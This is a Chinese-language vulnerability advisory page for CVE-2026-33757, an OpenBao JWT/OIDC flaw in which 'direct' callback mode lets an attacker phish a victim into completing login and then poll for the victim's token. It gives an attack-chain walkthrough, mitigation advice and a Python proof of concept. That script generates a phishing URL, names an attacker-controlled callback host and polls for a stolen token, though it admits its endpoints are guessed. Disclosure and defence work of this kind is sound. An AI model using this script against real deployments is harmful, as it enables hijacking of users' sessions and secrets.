IPBUF安全漏洞报告
English
CVE-2026-33757 CVSS 9.6 严重

CVE-2026-33757 OpenBao 远程钓鱼漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33757
漏洞类型
认证绕过
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenBao

相关标签

OpenBaoOIDC认证绕过远程钓鱼未授权访问

漏洞概述

OpenBao在2.5.2版本前存在安全漏洞。当通过JWT/OIDC登录且角色`callback_mode`为`direct`时,系统未提示用户确认。攻击者可诱导受害者访问URL,自动登录攻击者会话,实施远程钓鱼。尽管基于授权码流程,`direct`模式允许直接回调API,攻击者可轮询获取令牌。该漏洞可能导致机密性和完整性严重受损。

技术细节

该漏洞源于OpenBao在处理JWT/OIDC认证流程中`direct`回调模式时的逻辑缺陷。正常情况下,OIDC授权码流程要求用户显式确认客户端身份,以防止CSRF攻击或未授权的令牌获取。然而,当OpenBao角色配置为`callback_mode=direct`时,系统直接通过API进行回调,绕过了关键的二次确认步骤。攻击者利用这一机制,首先在OpenBao端发起一个登录请求,建立一个挂起的认证上下文。随后,攻击者精心构造包含该上下文信息的恶意URL,并通过社会工程学手段诱导拥有合法OIDC凭证的受害者访问。当受害者完成身份提供商的认证后,OpenBao误以为是合法的授权操作,直接将生成的令牌绑定到攻击者发起的会话中。由于`direct`模式支持API轮询,攻击者无需控制受害者的浏览器,只需后台查询即可获取高权限令牌,进而窃取敏感数据或破坏系统完整性。

攻击链分析

STEP 1
1. 初始化请求
攻击者在OpenBao上发起JWT/OIDC登录请求,并将角色设置为`callback_mode=direct`,获取认证URL。
STEP 2
2. 社会工程学攻击
攻击者将获取到的URL发送给受害者,诱导其点击访问。
STEP 3
3. 受害者认证
受害者访问链接并完成身份提供商的登录认证。
STEP 4
4. 令牌颁发
OpenBao接收认证回调,由于缺少确认机制,自动颁发令牌并将其关联到攻击者的会话ID。
STEP 5
5. 劫持会话
攻击者通过API轮询检测到令牌已颁发,进而获取受害者的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Conceptual PoC for CVE-2026-33757 # Demonstrates the logic of initiating a login and polling for the token # in 'direct' callback mode. OPENBAO_ADDR = "http://target-openbao:8200" ROLE_NAME = "phishing_role" # Step 1: Attacker initiates the login request to get a URL print("[+] Initiating malicious login request...") init_payload = { "role": ROLE_NAME, "callback_mode": "direct", "redirect_uri": "http://attacker-controlled-site/callback" # Callback handled internally in direct mode } # Assuming endpoint structure based on described behavior response = requests.post(f"{OPENBAO_ADDR}/v1/auth/jwt/oidc/login", json=init_payload) if response.status_code == 200: data = response.json() # Extract the auth URL that the victim needs to visit auth_url = data.get("auth_url") print(f"[+] Phishing URL generated: {auth_url}") print("[!] Send this URL to the victim.") # Step 2: Attacker polls for the token # In 'direct' mode, the attacker polls the API waiting for the victim to authenticate print("[*] Polling for token issuance...") while True: # Hypothetical polling endpoint poll_resp = requests.get(f"{OPENBAO_ADDR}/v1/auth/jwt/oidc/lookup") if poll_resp.status_code == 200 and "auth" in poll_resp.json(): token = poll_resp.json()["auth"]["client_token"] print(f"[+] SUCCESS! Victim authenticated. Token: {token}") break elif poll_resp.status_code == 202: # Still pending time.sleep(2) else: print("[-] Error polling for token") break else: print("[-] Failed to initiate login")

影响范围

OpenBao < 2.5.2

防御指南

临时缓解措施
建议管理员立即将OpenBao升级至2.5.2或更高版本。若无法立即升级,请检查并禁用所有配置为`callback_mode=direct`的JWT/OIDC角色。或者在OIDC提供商侧,为OpenBao使用的Client ID强制启用每次会话的确认提示,以防止自动授权。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表